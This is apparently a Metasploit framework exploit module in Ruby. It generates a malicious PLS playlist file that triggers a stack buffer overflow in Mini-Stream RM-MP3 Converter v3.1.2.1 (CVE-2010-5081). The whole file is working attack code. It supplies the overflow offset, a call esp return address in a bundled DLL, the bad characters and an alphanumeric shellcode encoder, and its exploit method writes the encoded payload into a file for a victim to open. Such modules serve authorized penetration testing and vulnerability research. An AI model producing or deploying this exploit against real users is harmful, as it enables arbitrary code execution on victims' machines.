##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
          Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim
          opens the malicious PLS file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Madjix', # original discovery
          'Tiago Henriques', # metasploit module
          'James Fitts <fitts.james[at]gmail.com>' # clean ups
        ],
        'References' => [
          [ 'CVE', '2010-5081' ],
          [ 'OSVDB', '78078' ],
          [ 'EDB', '14373' ],
          [ 'BID', '34514' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1500,
          'BadChars' => "\x00\x09\x0a",
          'DisableNops' => true,
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'EncoderOptions' =>
                        {
                          'BufferRegister' => 'ECX',
                        },
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
            {
              'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
              'Offset' => 17417
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-07-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
      ]
    )
  end

  def exploit
    pls = "http://"
    pls << rand_text_alpha_upper(target['Offset'])
    pls << [target.ret].pack('V')
    pls << rand_text_alpha_upper(8)
    pls << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(pls)
  end
end